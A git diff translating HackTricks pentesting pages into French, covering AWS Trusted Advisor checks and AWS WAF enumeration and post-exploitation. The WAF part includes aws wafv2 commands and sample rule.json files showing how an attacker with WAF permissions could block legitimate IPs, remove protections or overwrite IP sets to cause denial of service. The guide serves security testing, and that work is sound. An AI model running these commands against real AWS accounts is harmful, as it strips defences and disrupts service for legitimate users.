+#### Catégories de base
 
-1. Cost Optimization
-2. Security
-3. Fault Tolerance
+1. Optimisation des coûts
+2. Sécurité
+3. Tolérance aux pannes
 4. Performance
-5. Service Limits
-6. S3 Bucket Permissions
+5. Limites de service
+6. Permissions des buckets S3
 
-#### Core Checks
+#### Vérifications de base
 
-Limited to users without business or enterprise support plans:
+Limitées aux utilisateurs sans plans de support business ou enterprise :
 
-1. Security Groups - Specific Ports Unrestricted
-2. IAM Use
-3. MFA on Root Account
-4. EBS Public Snapshots
-5. RDS Public Snapshots
-6. Service Limits
+1. Groupes de sécurité - Ports spécifiques non restreints
+2. Utilisation de l'IAM
+3. MFA sur le compte root
+4. Instantanés publics EBS
+5. Instantanés publics RDS
+6. Limites de service
 
-#### Security Checks
+#### Vérifications de sécurité
 
-A list of checks primarily focusing on identifying and rectifying security threats:
+Une liste de vérifications principalement axées sur l'identification et la rectification des menaces à la sécurité :
 
-- Security group settings for high-risk ports
-- Security group unrestricted access
-- Open write/list access to S3 buckets
-- MFA enabled on root account
-- RDS security group permissiveness
-- CloudTrail usage
-- SPF records for Route 53 MX records
-- HTTPS configuration on ELBs
-- Security groups for ELBs
-- Certificate checks for CloudFront
-- IAM access key rotation (90 days)
-- Exposure of access keys (e.g., on GitHub)
-- Public visibility of EBS or RDS snapshots
-- Weak or absent IAM password policies
+- Paramètres des groupes de sécurité pour les ports à haut risque
+- Accès non restreint des groupes de sécurité
+- Accès en écriture/liste ouvert aux buckets S3
+- MFA activé sur le compte root
+- Permissivité des groupes de sécurité RDS
+- Utilisation de CloudTrail
+- Enregistrements SPF pour les enregistrements MX Route 53
+- Configuration HTTPS sur les ELB
+- Groupes de sécurité pour les ELB
+- Vérifications de certificats pour CloudFront
+- Rotation des clés d'accès IAM (90 jours)
+- Exposition des clés d'accès (par exemple, sur GitHub)
+- Visibilité publique des instantanés EBS ou RDS
+- Politiques de mot de passe IAM faibles ou absentes
 
-AWS Trusted Advisor acts as a crucial tool in ensuring the optimization, performance, security, and fault tolerance of AWS services based on established best practices.
+AWS Trusted Advisor agit comme un outil crucial pour garantir l'optimisation, la performance, la sécurité et la tolérance aux pannes des services AWS en fonction des meilleures pratiques établies.
 
-## **References**
+## **Références**
 
 - [https://cloudsecdocs.com/aws/services/logging/other/#trusted-advisor](https://cloudsecdocs.com/aws/services/logging/other/#trusted-advisor)
 
 {{#include ../../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-waf-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-waf-enum.md
index 661b836d5..93e8a149d 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-waf-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-waf-enum.md
@@ -6,103 +6,102 @@
 
 ## AWS WAF
 
-AWS WAF is a **web application firewall** designed to **safeguard web applications or APIs** against various web exploits which may impact their availability, security, or resource consumption. It empowers users to control incoming traffic by setting up **security rules** that mitigate typical attack vectors like SQL injection or cross-site scripting and also by defining custom filtering rules.
+AWS WAF est un **pare-feu d'application web** conçu pour **protéger les applications web ou les API** contre diverses exploitations web qui peuvent affecter leur disponibilité, sécurité ou consommation de ressources. Il permet aux utilisateurs de contrôler le trafic entrant en configurant des **règles de sécurité** qui atténuent les vecteurs d'attaque typiques comme l'injection SQL ou le scripting intersite, et en définissant également des règles de filtrage personnalisées.
 
-### Key concepts
+### Concepts clés
 
-#### Web ACL (Access Control List)
+#### Web ACL (Liste de Contrôle d'Accès)
 
-A Web ACL is a collection of rules that you can apply to your web applications or APIs. When you associate a Web ACL with a resource, AWS WAF inspects incoming requests based on the rules defined in the Web ACL and takes the specified actions.
+Une Web ACL est un ensemble de règles que vous pouvez appliquer à vos applications web ou API. Lorsque vous associez une Web ACL à une ressource, AWS WAF inspecte les requêtes entrantes en fonction des règles définies dans la Web ACL et prend les actions spécifiées.
 
-#### Rule Group
+#### Groupe de Règles
 
-A Rule Group is a reusable collection of rules that you can apply to multiple Web ACLs. Rule groups help manage and maintain consistent rule sets across different web applications or APIs.
+Un Groupe de Règles est une collection réutilisable de règles que vous pouvez appliquer à plusieurs Web ACL. Les groupes de règles aident à gérer et à maintenir des ensembles de règles cohérents à travers différentes applications web ou API.
 
-Each rule group has its associated **capacity**, which helps to calculate and control the operating resources that are used to run your rules, rule groups, and web ACLs. Once its value is set during creation, it is not possible to modify it.
+Chaque groupe de règles a sa **capacité** associée, qui aide à calculer et à contrôler les ressources opérationnelles utilisées pour exécuter vos règles, groupes de règles et Web ACL. Une fois sa valeur définie lors de la création, il n'est pas possible de la modifier.
 
-#### Rule
+#### Règle
 
-A rule defines a set of conditions that AWS WAF uses to inspect incoming web requests. There are two main types of rules:
+Une règle définit un ensemble de conditions que AWS WAF utilise pour inspecter les requêtes web entrantes. Il existe deux types principaux de règles :
 
-1. **Regular Rule**: This rule type uses specified conditions to determine whether to allow, block, or count web requests.
-2. **Rate-Based Rule**: Counts requests from a specific IP address over a five-minute period. Here, users define a threshold, and if the number of requests from an IP exceeds this limit within five minutes, subsequent requests from that IP are blocked until the request rate drops below the threshold. The minimum threshold for rate-based rules is **2000 requests**.
+1. **Règle Régulière** : Ce type de règle utilise des conditions spécifiées pour déterminer s'il faut autoriser, bloquer ou compter les requêtes web.
+2. **Règle Basée sur le Taux** : Compte les requêtes d'une adresse IP spécifique sur une période de cinq minutes. Ici, les utilisateurs définissent un seuil, et si le nombre de requêtes d'une IP dépasse cette limite dans les cinq minutes, les requêtes suivantes de cette IP sont bloquées jusqu'à ce que le taux de requêtes tombe en dessous du seuil. Le seuil minimum pour les règles basées sur le taux est de **2000 requêtes**.
 
-#### Managed Rules
+#### Règles Gérées
 
-AWS WAF offers pre-configured, managed rule sets that are maintained by AWS and AWS Marketplace sellers. These rule sets provide protection against common threats and are regularly updated to address new vulnerabilities.
+AWS WAF propose des ensembles de règles gérés préconfigurés qui sont maintenus par AWS et les vendeurs du marché AWS. Ces ensembles de règles offrent une protection contre les menaces courantes et sont régulièrement mis à jour pour traiter de nouvelles vulnérabilités.
 
-#### IP Set
+#### Ensemble d'IP
 
-An IP Set is a list of IP addresses or IP address ranges that you want to allow or block. IP sets simplify the process of managing IP-based rules.
+Un Ensemble d'IP est une liste d'adresses IP ou de plages d'adresses IP que vous souhaitez autoriser ou bloquer. Les ensembles d'IP simplifient le processus de gestion des règles basées sur les IP.
 
-#### Regex Pattern Set
+#### Ensemble de Modèles Regex
 
-A Regex Pattern Set contains one or more regular expressions (regex) that define patterns to search for in web requests. This is useful for more complex matching scenarios, such as filtering specific sequences of characters.
+Un Ensemble de Modèles Regex contient une ou plusieurs expressions régulières (regex) qui définissent des motifs à rechercher dans les requêtes web. Cela est utile pour des scénarios de correspondance plus complexes, tels que le filtrage de séquences spécifiques de caractères.
 
-#### Lock Token
+#### Jeton de Verrouillage
 
-A Lock Token is used for concurrency control when making updates to WAF resources. It ensures that changes are not accidentally overwritten by multiple users or processes attempting to update the same resource simultaneously.
+Un Jeton de Verrouillage est utilisé pour le contrôle de la concurrence lors de la mise à jour des ressources WAF. Il garantit que les modifications ne sont pas accidentellement écrasées par plusieurs utilisateurs ou processus tentant de mettre à jour la même ressource simultanément.
 
-#### API Keys
+#### Clés API
 
-API Keys in AWS WAF are used to authenticate requests to certain API operations. These keys are encrypted and managed securely to control access and ensure that only authorized users can make changes to WAF configurations.
+Les Clés API dans AWS WAF sont utilisées pour authentifier les requêtes à certaines opérations API. Ces clés sont cryptées et gérées de manière sécurisée pour contrôler l'accès et garantir que seuls les utilisateurs autorisés peuvent apporter des modifications aux configurations WAF.
 
-- **Example**: Integration of the CAPTCHA API.
+- **Exemple** : Intégration de l'API CAPTCHA.
 
-#### Permission Policy
+#### Politique de Permission
 
-A Permission Policy is an IAM policy that specifies who can perform actions on AWS WAF resources. By defining permissions, you can control access to WAF resources and ensure that only authorized users can create, update, or delete configurations.
+Une Politique de Permission est une politique IAM qui spécifie qui peut effectuer des actions sur les ressources AWS WAF. En définissant des permissions, vous pouvez contrôler l'accès aux ressources WAF et garantir que seuls les utilisateurs autorisés peuvent créer, mettre à jour ou supprimer des configurations.
 
-#### Scope
+#### Portée
 
-The scope parameter in AWS WAF specifies whether the WAF rules and configurations apply to a regional application or an Amazon CloudFront distribution.
+Le paramètre de portée dans AWS WAF spécifie si les règles et configurations WAF s'appliquent à une application régionale ou à une distribution Amazon CloudFront.
 
-- **REGIONAL**: Applies to regional services such as Application Load Balancers (ALB), Amazon API Gateway REST API, AWS AppSync GraphQL API, Amazon Cognito user pool, AWS App Runner service and AWS Verified Access instance. You specify the AWS region where these resources are located.
-- **CLOUDFRONT**: Applies to Amazon CloudFront distributions, which are global. WAF configurations for CloudFront are managed through the `us-east-1` region regardless of where the content is served.
+- **RÉGIONAL** : S'applique aux services régionaux tels que les équilibres de charge d'application (ALB), l'API REST d'Amazon API Gateway, l'API GraphQL AWS AppSync, le pool d'utilisateurs Amazon Cognito, le service AWS App Runner et l'instance AWS Verified Access. Vous spécifiez la région AWS où ces ressources sont situées.
+- **CLOUDFRONT** : S'applique aux distributions Amazon CloudFront, qui sont globales. Les configurations WAF pour CloudFront sont gérées via la région `us-east-1` indépendamment de l'endroit où le contenu est servi.
 
-### Key features
+### Fonctionnalités clés
 
-#### Monitoring Criteria (Conditions)
+#### Critères de Surveillance (Conditions)
 
-**Conditions** specify the elements of incoming HTTP/HTTPS requests that AWS WAF monitors, which include XSS, geographical location (GEO), IP addresses, Size constraints, SQL Injection, and patterns (strings and regex matching). It's important to note that **requests restricted at the CloudFront level based on country won't reach WAF**.
+**Conditions** spécifient les éléments des requêtes HTTP/HTTPS entrantes que AWS WAF surveille, qui incluent XSS, localisation géographique (GEO), adresses IP, contraintes de taille, injection SQL et motifs (correspondance de chaînes et regex). Il est important de noter que **les requêtes restreintes au niveau de CloudFront en fonction du pays n'atteindront pas WAF**.
 
-Each AWS account can configure:
+Chaque compte AWS peut configurer :
 
-- **100 conditions** for each type (except for Regex, where only **10 conditions** are allowed, but this limit can be increased).
-- **100 rules** and **50 Web ACLs**.
-- A maximum of **5 rate-based rules**.
-- A throughput of **10,000 requests per second** when WAF is implemented with an application load balancer.
+- **100 conditions** pour chaque type (sauf pour Regex, où seulement **10 conditions** sont autorisées, mais cette limite peut être augmentée).
+- **100 règles** et **50 Web ACLs**.
+- Un maximum de **5 règles basées sur le taux**.
+- Un débit de **10 000 requêtes par seconde** lorsque WAF est mis en œuvre avec un équilibreur de charge d'application.
 
-#### Rule actions
+#### Actions de Règle
 
-Actions are assigned to each rule, with options being:
+Des actions sont assignées à chaque règle, avec les options suivantes :
 
-- **Allow**: The request is forwarded to the appropriate CloudFront distribution or Application Load Balancer.
-- **Block**: The request is terminated immediately.
-- **Count**: Tallies the requests meeting the rule's conditions. This is useful for rule testing, confirming the rule's accuracy before setting it to Allow or Block.
-- **CAPTCHA and Challenge:** It is verified that the request does not come from a bot using CAPTCHA puzzles and silent challenges.
+- **Autoriser** : La requête est transmise à la distribution CloudFront ou à l'équilibreur de charge d'application approprié.
+- **Bloquer** : La requête est immédiatement terminée.
+- **Compter** : Compte les requêtes répondant aux conditions de la règle. Cela est utile pour tester la règle, confirmant l'exactitude de la règle avant de la définir sur Autoriser ou Bloquer.
+- **CAPTCHA et Défi** : Il est vérifié que la requête ne provient pas d'un bot à l'aide de puzzles CAPTCHA et de défis silencieux.
 
-If a request doesn't match any rule within the Web ACL, it undergoes the **default action** (Allow or Block). The order of rule execution, defined within a Web ACL, is crucial and typically follows this sequence:
+Si une requête ne correspond à aucune règle dans la Web ACL, elle subit l'**action par défaut** (Autoriser ou Bloquer). L'ordre d'exécution des règles, défini dans une Web ACL, est crucial et suit généralement cette séquence :
 
-1. Allow Whitelisted IPs.
-2. Block Blacklisted IPs.
-3. Block requests matching any detrimental signatures.
+1. Autoriser les IPs sur liste blanche.
+2. Bloquer les IPs sur liste noire.
+3. Bloquer les requêtes correspondant à des signatures nuisibles.
 
-#### CloudWatch Integration
+#### Intégration CloudWatch
 
-AWS WAF integrates with CloudWatch for monitoring, offering metrics like AllowedRequests, BlockedRequests, CountedRequests, and PassedRequests. These metrics are reported every minute by default and retained for a period of two weeks.
+AWS WAF s'intègre à CloudWatch pour la surveillance, offrant des métriques telles que AllowedRequests, BlockedRequests, CountedRequests et PassedRequests. Ces métriques sont rapportées chaque minute par défaut et conservées pendant une période de deux semaines.
 
-### Enumeration
+### Énumération
 
-In order to interact with CloudFront distributions, you must specify the Region US East (N. Virginia):
+Pour interagir avec les distributions CloudFront, vous devez spécifier la région US East (N. Virginia) :
 
-- CLI - Specify the Region US East when you use the CloudFront scope: `--scope CLOUDFRONT --region=us-east-1` .
-- API and SDKs - For all calls, use the Region endpoint us-east-1.
+- CLI - Spécifiez la région US East lorsque vous utilisez la portée CloudFront : `--scope CLOUDFRONT --region=us-east-1`.
+- API et SDKs - Pour tous les appels, utilisez le point de terminaison de la région us-east-1.
 
-In order to interact with regional services, you should specify the region:
-
-- Example with the region Europe (Spain): `--scope REGIONAL --region=eu-south-2`
+Pour interagir avec les services régionaux, vous devez spécifier la région :
 
+- Exemple avec la région Europe (Espagne) : `--scope REGIONAL --region=eu-south-2`
 ```bash
 # Web ACLs #
 
@@ -146,7 +145,7 @@ aws wafv2 list-ip-sets --scope <REGIONAL --region=<value> | CLOUDFRONT --region=
 aws wafv2 get-ip-set --name <value> --id <value> --scope <REGIONAL --region=<value> | CLOUDFRONT --region=us-east-1>
 ## Retrieve the keys that are currently being managed by a rate-based rule.
 aws wafv2 get-rate-based-statement-managed-keys --scope <REGIONAL --region=<value> | CLOUDFRONT --region=us-east-1>\
- --web-acl-name <value> --web-acl-id <value> --rule-name <value> [--rule-group-rule-name <value>]
+--web-acl-name <value> --web-acl-id <value> --rule-name <value> [--rule-group-rule-name <value>]
 
 # Regex pattern sets #
 
@@ -186,78 +185,70 @@ aws wafv2 list-mobile-sdk-releases --platform <IOS | ANDROID>
 aws wafv2 get-mobile-sdk-release --platform <value> --release-version <value>
 
 ```
-
 ### Post Exploitation / Bypass
 
 > [!TIP]
-> From an attackers perspective, this service can help the attacker to identify WAF protections and network exposures that could help him to compromise other webs.
+> Du point de vue d'un attaquant, ce service peut aider l'attaquant à identifier les protections WAF et les expositions réseau qui pourraient l'aider à compromettre d'autres sites.
 >
-> However, an attacker could also be interested in disrupting this service so the webs aren't protected by the WAF.
+> Cependant, un attaquant pourrait également être intéressé à perturber ce service afin que les sites ne soient pas protégés par le WAF.
 
-In many of the Delete and Update operations it would be necessary to provide the **lock token**. This token is used for concurrency control over the resources, ensuring that changes are not accidentally overwritten by multiple users or processes attempting to update the same resource simultaneously. In order to obtain this token you could perform the correspondent **list** or **get** operations over the specific resource.
+Dans de nombreuses opérations de Suppression et de Mise à jour, il serait nécessaire de fournir le **token de verrouillage**. Ce token est utilisé pour le contrôle de la concurrence sur les ressources, garantissant que les modifications ne sont pas accidentellement écrasées par plusieurs utilisateurs ou processus tentant de mettre à jour la même ressource simultanément. Afin d'obtenir ce token, vous pourriez effectuer les opérations **list** ou **get** correspondantes sur la ressource spécifique.
 
 #### **`wafv2:CreateRuleGroup`, `wafv2:UpdateRuleGroup`, `wafv2:DeleteRuleGroup`**
 
-An attacker would be able to compromise the security of the affected resource by:
-
-- Creating rule groups that could, for instance, block legitimate traffic from legitimate IP addresses, causing a denial of service.
-- Updating rule groups, being able to modify its actions for example from **Block** to **Allow**.
-- Deleting rule groups that provide critical security measures.
+Un attaquant serait en mesure de compromettre la sécurité de la ressource affectée en :
 
+- Créant des groupes de règles qui pourraient, par exemple, bloquer le trafic légitime provenant d'adresses IP légitimes, provoquant une déni de service.
+- Mettant à jour des groupes de règles, étant capable de modifier ses actions par exemple de **Block** à **Allow**.
+- Supprimant des groupes de règles qui fournissent des mesures de sécurité critiques.
 ```bash
 # Create Rule Group
 aws wafv2 create-rule-group --name <value> --capacity <value> --visibility-config <value> \
 --scope <REGIONAL --region=<value> | CLOUDFRONT --region=us-east-1> [--rules <value>] [--description <value>]
 # Update Rule Group
 aws wafv2 update-rule-group --name <value> --id <value> --visibility-config <value> --lock-token <value>\
- --scope <REGIONAL --region=<value> | CLOUDFRONT --region=us-east-1> [--rules <value>] [--description <value>]
+--scope <REGIONAL --region=<value> | CLOUDFRONT --region=us-east-1> [--rules <value>] [--description <value>]
 # Delete Rule Group
 aws wafv2 delete-rule-group --name <value> --id <value> --lock-token <value> --scope <REGIONAL --region=<value> | CLOUDFRONT --region=us-east-1>
 ```
-
-The following examples shows a rule group that would block legitimate traffic from specific IP addresses:
-
+Les exemples suivants montrent un groupe de règles qui bloquerait le trafic légitime en provenance d'adresses IP spécifiques :
 ```bash
 aws wafv2 create-rule-group --name BlockLegitimateIPsRuleGroup --capacity 1 --visibility-config SampledRequestsEnabled=false,CloudWatchMetricsEnabled=false,MetricName=BlockLegitimateIPsRuleGroup --scope CLOUDFRONT --region us-east-1 --rules file://rule.json
 ```
-
-The **rule.json** file would look like:
-
+Le fichier **rule.json** ressemblerait à :
 ```json
 [
-  {
-    "Name": "BlockLegitimateIPsRule",
-    "Priority": 0,
-    "Statement": {
-      "IPSetReferenceStatement": {
-        "ARN": "arn:aws:wafv2:us-east-1:123456789012:global/ipset/legitIPv4/1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f"
-      }
-    },
-    "Action": {
-      "Block": {}
-    },
-    "VisibilityConfig": {
-      "SampledRequestsEnabled": false,
-      "CloudWatchMetricsEnabled": false,
-      "MetricName": "BlockLegitimateIPsRule"
-    }
-  }
+{
+"Name": "BlockLegitimateIPsRule",
+"Priority": 0,
+"Statement": {
+"IPSetReferenceStatement": {
+"ARN": "arn:aws:wafv2:us-east-1:123456789012:global/ipset/legitIPv4/1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f"
+}
+},
+"Action": {
+"Block": {}
+},
+"VisibilityConfig": {
+"SampledRequestsEnabled": false,
+"CloudWatchMetricsEnabled": false,
+"MetricName": "BlockLegitimateIPsRule"
+}
+}
 ]
 ```
-
-**Potential Impact**: Unauthorized access, data breaches, and potential DoS attacks.
+**Impact potentiel** : Accès non autorisé, violations de données et attaques potentielles par déni de service.
 
 #### **`wafv2:CreateWebACL`, `wafv2:UpdateWebACL`, `wafv2:DeleteWebACL`**
 
-With these permissions, an attacker would be able to:
+Avec ces autorisations, un attaquant pourrait :
 
-- Create a new Web ACL, introducing rules that either allow malicious traffic through or block legitimate traffic, effectively rendering the WAF useless or causing a denial of service.
-- Update existing Web ACLs, being able to modify rules to permit attacks such as SQL injection or cross-site scripting, which were previously blocked, or disrupt normal traffic flow by blocking valid requests.
-- Delete a Web ACL, leaving the affected resources entirely unprotected, exposing it to a broad range of web attacks.
+- Créer un nouveau Web ACL, introduisant des règles qui permettent soit le passage de trafic malveillant, soit le blocage de trafic légitime, rendant ainsi le WAF inutile ou provoquant un déni de service.
+- Mettre à jour des Web ACL existants, pouvant modifier des règles pour permettre des attaques telles que l'injection SQL ou le scripting intersite, qui étaient auparavant bloquées, ou perturber le flux de trafic normal en bloquant des requêtes valides.
+- Supprimer un Web ACL, laissant les ressources affectées entièrement non protégées, les exposant à un large éventail d'attaques web.
 
 > [!NOTE]
-> You can only delete the specified **WebACL** if **ManagedByFirewallManager** is false.
-
+> Vous ne pouvez supprimer le **WebACL** spécifié que si **ManagedByFirewallManager** est faux.
 ```bash
 # Create Web ACL
 aws wafv2 create-web-acl --name <value> --default-action <value> --visibility-config <value> \
@@ -268,119 +259,109 @@ aws wafv2 update-web-acl --name <value> --id <value> --default-action <value> --
 # Delete Web ACL
 aws wafv2 delete-web-acl --name <value> --id <value> --lock-token <value> --scope <REGIONAL --region=<value> | CLOUDFRONT --region=us-east-1>
 ```
+Les exemples suivants montrent comment mettre à jour un Web ACL pour bloquer le trafic légitime d'un ensemble d'IP spécifique. Si l'IP d'origine ne correspond à aucune de ces IP, l'action par défaut serait également de le bloquer, provoquant un DoS.
 
-The following examples shows how to update a Web ACL to block the legitimate traffic from a specific IP set. If the origin IP does not match any of those IPs, the default action would also be blocking it, causing a DoS.
-
-**Original Web ACL**:
-
+**Web ACL d'origine**:
 ```json
 {
-  "WebACL": {
-    "Name": "AllowLegitimateIPsWebACL",
-    "Id": "1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f",
-    "ARN": "arn:aws:wafv2:us-east-1:123456789012:regional/webacl/AllowLegitimateIPsWebACL/1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f",
-    "DefaultAction": {
-      "Allow": {}
-    },
-    "Description": "",
-    "Rules": [
-      {
-        "Name": "AllowLegitimateIPsRule",
-        "Priority": 0,
-        "Statement": {
-          "IPSetReferenceStatement": {
-            "ARN": "arn:aws:wafv2:us-east-1:123456789012:regional/ipset/LegitimateIPv4/1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f"
-          }
-        },
-        "Action": {
-          "Allow": {}
-        },
-        "VisibilityConfig": {
-          "SampledRequestsEnabled": false,
-          "CloudWatchMetricsEnabled": false,
-          "MetricName": "AllowLegitimateIPsRule"
-        }
-      }
-    ],
-    "VisibilityConfig": {
-      "SampledRequestsEnabled": false,
-      "CloudWatchMetricsEnabled": false,
-      "MetricName": "AllowLegitimateIPsWebACL"
-    },
-    "Capacity": 1,
-    "ManagedByFirewallManager": false,
-    "LabelNamespace": "awswaf:123456789012:webacl:AllowLegitimateIPsWebACL:"
-  },
-  "LockToken": "1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f"
+"WebACL": {
+"Name": "AllowLegitimateIPsWebACL",
+"Id": "1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f",
+"ARN": "arn:aws:wafv2:us-east-1:123456789012:regional/webacl/AllowLegitimateIPsWebACL/1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f",
+"DefaultAction": {
+"Allow": {}
+},
+"Description": "",
+"Rules": [
+{
+"Name": "AllowLegitimateIPsRule",
+"Priority": 0,
+"Statement": {
+"IPSetReferenceStatement": {
+"ARN": "arn:aws:wafv2:us-east-1:123456789012:regional/ipset/LegitimateIPv4/1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f"
+}
+},
+"Action": {
+"Allow": {}
+},
+"VisibilityConfig": {
+"SampledRequestsEnabled": false,
+"CloudWatchMetricsEnabled": false,
+"MetricName": "AllowLegitimateIPsRule"
+}
+}
+],
+"VisibilityConfig": {
+"SampledRequestsEnabled": false,
+"CloudWatchMetricsEnabled": false,
+"MetricName": "AllowLegitimateIPsWebACL"
+},
+"Capacity": 1,
+"ManagedByFirewallManager": false,
+"LabelNamespace": "awswaf:123456789012:webacl:AllowLegitimateIPsWebACL:"
+},
+"LockToken": "1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f"
 }
 ```
-
-Command to update the Web ACL:
-
+Commande pour mettre à jour le Web ACL :
 ```json
 aws wafv2 update-web-acl --name AllowLegitimateIPsWebACL --scope REGIONAL --id 1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f --lock-token 1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f --default-action Block={} --visibility-config SampledRequestsEnabled=false,CloudWatchMetricsEnabled=false,MetricName=AllowLegitimateIPsWebACL --rules file://rule.json --region us-east-1
 ```
-
-The **rule.json** file would look like:
-
+Le fichier **rule.json** ressemblerait à :
 ```json
 [
-  {
-    "Name": "BlockLegitimateIPsRule",
-    "Priority": 0,
-    "Statement": {
-      "IPSetReferenceStatement": {
-        "ARN": "arn:aws:wafv2:us-east-1:123456789012:regional/ipset/LegitimateIPv4/1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f"
-      }
-    },
-    "Action": {
-      "Block": {}
-    },
-    "VisibilityConfig": {
-      "SampledRequestsEnabled": false,
-      "CloudWatchMetricsEnabled": false,
-      "MetricName": "BlockLegitimateIPRule"
-    }
-  }
+{
+"Name": "BlockLegitimateIPsRule",
+"Priority": 0,
+"Statement": {
+"IPSetReferenceStatement": {
+"ARN": "arn:aws:wafv2:us-east-1:123456789012:regional/ipset/LegitimateIPv4/1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f"
+}
+},
+"Action": {
+"Block": {}
+},
+"VisibilityConfig": {
+"SampledRequestsEnabled": false,
+"CloudWatchMetricsEnabled": false,
+"MetricName": "BlockLegitimateIPRule"
+}
+}
 ]
 ```
-
-**Potential Impact**: Unauthorized access, data breaches, and potential DoS attacks.
+**Impact potentiel** : Accès non autorisé, violations de données et attaques potentielles par déni de service (DoS).
 
 #### **`wafv2:AssociateWebACL`, `wafv2:DisassociateWebACL`**
 
-The **`wafv2:AssociateWebACL`** permission would allow an attacker to associate web ACLs (Access Control Lists) with resources, being able to bypass security controls, allowing unauthorized traffic to reach the application, potentially leading to exploits like SQL injection or cross-site scripting (XSS). Conversely, with the **`wafv2:DisassociateWebACL`** permission, the attacker could temporarily disable security protections, exposing the resources to vulnerabilities without detection.
+La permission **`wafv2:AssociateWebACL`** permettrait à un attaquant d'associer des ACL web (Listes de Contrôle d'Accès) avec des ressources, pouvant contourner les contrôles de sécurité, permettant à un trafic non autorisé d'atteindre l'application, ce qui pourrait conduire à des exploits comme l'injection SQL ou le cross-site scripting (XSS). Inversement, avec la permission **`wafv2:DisassociateWebACL`**, l'attaquant pourrait désactiver temporairement les protections de sécurité, exposant les ressources à des vulnérabilités sans détection.
 
-The additional permissions would be needed depending on the protected resource type:
-
-- **Associate**
-  - apigateway:SetWebACL
-  - apprunner:AssociateWebAcl
-  - appsync:SetWebACL
-  - cognito-idp:AssociateWebACL
-  - ec2:AssociateVerifiedAccessInstanceWebAcl
-  - elasticloadbalancing:SetWebAcl
-- **Disassociate**
-  - apigateway:SetWebACL
-  - apprunner:DisassociateWebAcl
-  - appsync:SetWebACL
-  - cognito-idp:DisassociateWebACL
-  - ec2:DisassociateVerifiedAccessInstanceWebAcl
-  - elasticloadbalancing:SetWebAcl
+Les permissions supplémentaires seraient nécessaires en fonction du type de ressource protégée :
 
+- **Associer**
+- apigateway:SetWebACL
+- apprunner:AssociateWebAcl
+- appsync:SetWebACL
+- cognito-idp:AssociateWebACL
+- ec2:AssociateVerifiedAccessInstanceWebAcl
+- elasticloadbalancing:SetWebAcl
+- **Dissocier**
+- apigateway:SetWebACL
+- apprunner:DisassociateWebAcl
+- appsync:SetWebACL
+- cognito-idp:DisassociateWebACL
+- ec2:DisassociateVerifiedAccessInstanceWebAcl
+- elasticloadbalancing:SetWebAcl
 ```bash
 # Associate
 aws wafv2 associate-web-acl --web-acl-arn <value> --resource-arn <value>
 # Disassociate
 aws wafv2 disassociate-web-acl --resource-arn <value>
 ```
-
-**Potential Impact**: Compromised resources security, increased risk of exploitation, and potential service disruptions within AWS environments protected by AWS WAF.
+**Impact potentiel** : Sécurité des ressources compromises, risque accru d'exploitation et interruptions potentielles de service au sein des environnements AWS protégés par AWS WAF.
 
 #### **`wafv2:CreateIPSet` , `wafv2:UpdateIPSet`, `wafv2:DeleteIPSet`**
 
-An attacker would be able to create, update and delete the IP sets managed by AWS WAF. This could be dangerous since could create new IP sets to allow malicious traffic, modify IP sets in order to block legitimate traffic, update existing IP sets to include malicious IP addresses, remove trusted IP addresses or delete critical IP sets that are meant to protect critical resources.
-
+Un attaquant pourrait créer, mettre à jour et supprimer les ensembles d'IP gérés par AWS WAF. Cela pourrait être dangereux car il pourrait créer de nouveaux ensembles d'IP pour autoriser le trafic malveillant, modifier des ensembles d'IP afin de bloquer le trafic légitime, mettre à jour des ensembles d'IP existants pour inclure des adresses IP malveillantes, supprimer des adresses IP de confiance ou supprimer des ensembles d'IP critiques destinés à protéger des ressources critiques.
 ```bash
 # Create IP set
 aws wafv2 create-ip-set --name <value> --ip-address-version <IPV4 | IPV6> --addresses <value> --scope <REGIONAL --region=<value> | CLOUDFRONT --region=us-east-1>
@@ -389,23 +370,19 @@ aws wafv2 update-ip-set --name <value> --id <value> --addresses <value> --lock-t
 # Delete IP set
 aws wafv2 delete-ip-set --name <value> --id <value> --lock-token <value> --scope <REGIONAL --region=<value> | CLOUDFRONT --region=us-east-1>
 ```
-
-The following example shows how to **overwrite the existing IP set by the desired IP set**:
-
+L'exemple suivant montre comment **écraser l'ensemble d'IP existant par l'ensemble d'IP souhaité** :
 ```bash
 aws wafv2 update-ip-set --name LegitimateIPv4Set --id 1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f --addresses 99.99.99.99/32 --lock-token 1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f --scope CLOUDFRONT --region us-east-1
 ```
+**Impact potentiel** : Accès non autorisé et blocage du trafic légitime.
 
-**Potential Impact**: Unauthorized access and block of legitimate traffic.
+#### **`wafv2:CreateRegexPatternSet`**, **`wafv2:UpdateRegexPatternSet`**, **`wafv2:DeleteRegexPatternSet`**
 
-#### **`wafv2:CreateRegexPatternSet`** , **`wafv2:UpdateRegexPatternSet`**, **`wafv2:DeleteRegexPatternSet`**
-
-An attacker with these permissions would be able to manipulate the regular expression pattern sets used by AWS WAF to control and filter incoming traffic based on specific patterns.
-
-- Creating new regex patterns would help an attacker to allow harmful content
-- Updating the existing patterns, an attacker would to bypass security rules
-- Deleting patterns that are designed to block malicious activities could lead an attacker to the send malicious payloads and bypass the security measures.
+Un attaquant disposant de ces autorisations pourrait manipuler les ensembles de motifs d'expressions régulières utilisés par AWS WAF pour contrôler et filtrer le trafic entrant en fonction de motifs spécifiques.
 
